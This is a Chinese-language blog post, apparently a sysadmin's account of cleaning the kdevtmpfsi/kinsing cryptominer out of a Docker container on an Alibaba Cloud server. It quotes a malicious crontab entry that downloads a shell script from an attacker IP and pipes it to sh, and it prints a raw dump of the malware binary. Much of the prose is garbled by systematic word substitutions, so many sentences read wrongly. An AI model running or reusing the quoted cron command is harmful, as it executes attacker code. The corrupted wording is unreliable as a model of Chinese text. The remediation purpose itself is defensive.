前言
【阿里云】尊敬的吴彦祖:
经检测您的阿里云服务(ECS 实例)存在挖矿流动。依据相干法规、政策的规定及监管部门的要求,请您于 2022-08-15 00 时前实现挖矿问题整改,否则您的服务将被关停,详情请查看邮件或阿里云站内音讯告诉。
若您有其余问题,可登陆阿里云官网在线征询
一条短信,开始了和 kdevtmpfsi
的故事。
初识
登录服务器,top -c
看下过程信息:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3195280 root 20 0 714116 267756 2708 S 99.7 14.4 19:05.65 /tmp/kdevtmpfsi
发现 /tmp/kdevtmpfsi
占据了 99.7% 的 CPU 资源。
毫无疑问,这家伙应该就是挖矿病毒了。
百度一波后发现,的确是它,以及它还有一个叫 kinsing
的守护过程,ps -ef | grep kinsing
:
root 3195051 3142956 0 22:13 pts/0 00:00:00 /etc/kinsing
首次交锋
间接 kill -9 3195051 3195280
杀一波过程。
top -c
再次查看过程,挖矿无了,CPU 恢复正常。
正筹备鸣金收兵,竟发现:
阿里云控制台 ECS 实例的 CPU 曲线竟然又拉了起来。
事件并不简略
看来不止是杀个过程这么简略。
问了一嘴阿里云客服,对方丢过去一份挖矿程序处理最佳实际。
简略总结就是:
删除执行文件 => 杀过程 => 查看并革除异样端口 => 查看并革除异样定时工作
试一下。
一、删除执行文件
ps -ef | grep kdevtmpfsi
看下新起过程 PID:
root 3197558 3142956 95 23:10 ? 00:40:19 /tmp/kdevtmpfsi
阐明病毒的执行文件为 /tmp/kdevtmpfsi
。
head /tmp/kdevtmpfsi
大抵看一下却提醒:
head: 无奈关上 '/tmp/kdevtmpfsi' 读取数据: 没有那个文件或目录
竟然没有这个文件?
难道病毒在容器里?
docker stats
看一眼容器状态:
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
68825e3ec789 gateway-service 100.55% 810.7MiB / 1.776GiB 44.58% 0B / 0B 293MB / 52.2MB 107
1fcf77218204 watchtower 0.00% 12.2MiB / 1.776GiB 0.67% 8.03MB / 1.82MB 30MB / 0B 8
2a5700773074 nginx 0.00% 7.227MiB / 1.776GiB 0.40% 172GB / 172GB 33.8MB / 0B 3
真的在容器里!
docker exec -it 68825e3ec789 /bin/bash
进容器看看。
top -c
看下容器的过程:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
13786 root 20 0 714116 268084 2708 S 99.7 14.4 67:42.02 /tmp/kdevtmpfsi
是他了。
head /tmp/kdevtmpfsi
大抵看下病毒的执行文件:
ELF>U@@p?8@8@@@?8?8 8??t??
??@?@DD8??(?Q?tdR?td8???W?WGNUGNU9Xj)3???<h?|??`?%
d?`?%pnd?`?%Pad?`?%Nd?`?%pnd?`?%0Qdx`?%??fp`?%@-dh`?%??d``?%0?dX`?%mdP`?%??hH`?%?}l@`?% nd8`?%d0`?%?\d(`?%`.d `?%??d`?% gdH?H?E\XH??t?K???H???%R\Xh??%J\Xh??%B\Xh??%:\Xh??%2\Xh??%*\Xh??%"\Xh??%\Xh??%\Xh??%
\Xh??%\Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh?H??H??H?|$?[?USH??H??H??u&H?.?H?TH?4$?9??TH?4$H?H?H??H??u1??6H?TH?4$?.?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐH?H?PH??ÐUH??SH??H??H?G@H+G8H??H? ??T$
??T$
H?C8H?HH??H?K8t8H???`?mH?HE?f?@H???H#?@?H ?H?H??[]?USH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
全是密文。
rm -f /tmp/kdevtmpfsi
删除。
可是,报错了:
rm: cannot remove '/tmp/kdevtmpfsi': Stale file handle
无奈删除。
百度了一波,也没找到无效信息,甚至发了个新的发问。
这一步无奈只能临时跳过 …ORZ
二、杀过程
这个下面有,不再赘述。
三、查看并革除异样端口
无异样。
四、查看并革除异样定时工作
crontab -l
果然有定时工作:
* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1
百度了一下这个 IP:
91.241.19.134
来自俄罗斯·莫斯科
crontab -r
删它。
这一套下来,过程终止了,定时工作也删除了,尽管病毒文件没有删除,但想到定时工作曾经被删除,应该没什么问题了。
氛围逐步焦灼
然而:
过了约 20 分钟,kdevtmpfsi
过程又从新起来了,并且随着新起的病毒过程,容器外面居然也有了个 新的定时工作。
这不对啊,定时工作怎么也有复活甲???
难道定时工作的背地还存在定时工作?
在宿主机和容器中别离执行 for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
看下所有用户下的定时工作,很遗憾,一个也没有找到。
这是见鬼了啊!很好受。大招连同 DF 都放了,然而对面竟然有有限复活甲。
迎来转折
束手无策之际,下面发的那个发问有位北京的大佬回复我说尝试一下重启。
试了一下,过程果然无了。
大佬牛逼。
总结
如果你的 Linux
服务器中招 kdevtmpfsi
挖矿病毒,并且该病毒过程存在于 docker
之中,那么你能够尝试以下步骤来解决:
一、查问宿主机中的病毒文件并删除
find / -name "*kdevtmpfsi*"
查问病毒文件。(我这边没有找到)find / -name "*kinsing*"
查问守护过程文件。(找到两条记录,删除其中任意一条另外一条也随之删除)
二、查问宿主机中的定时工作
crontab -l
查问以后账户下的定时工作。for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
查问所有账户下的定时工作。
若有异样定时工作(我这边无),执行 crontab -r
删除。
三、查问病毒所在的容器并进入
docker stats
查问异样容器的CONTAINER ID
。docker exec -it <CONTAINER ID> /bin/bash
进入病毒所在的容器。
四、查问容器中的异样定时工作并革除
crontab -l
查问定时工作crontab -r
删除定时工作
五、查问病毒的 PID 及其文件门路
ps -ef | grep kdevtmpfsi
查问病毒的 PID 及其文件所在位置;ps -ef | grep kinsing
查问守护过程的 PID 及其文件所在位置。
六、删除病毒文件
rm -f /etc/kinsing
删除守护过程文件。rm -f /tmp/kdevtmpfsi
删除病毒文件。
我这边删除会报错。
不过问题不大,你如果也报错,能够间接疏忽这一步,不影响最终毁灭本次病毒。
七、终止病毒过程
kill -9 <kinsing 的 PID> <kdevtmpfsi 的 PID>
八、退出容器并重启
control + P + Q
退出容器docker restart <CONTAINER ID>
重启容器
工夫过了很久,没有新的病毒过程再主动起来。
这次的病毒算是解决了,尽管它下次还会来,但至多把握了单次解决它的办法。
只管病毒文件和守护过程文件还在,但应该没啥作用了,如果强迫症感觉这个文件删不掉很好受,能够 vi
进去 dG
删除所有内容后 :wq
,这样一来,和删除其实没啥区别了。
大佬们若有更快捷的解决形式,或者能在源头阻止感化的,不吝赐教。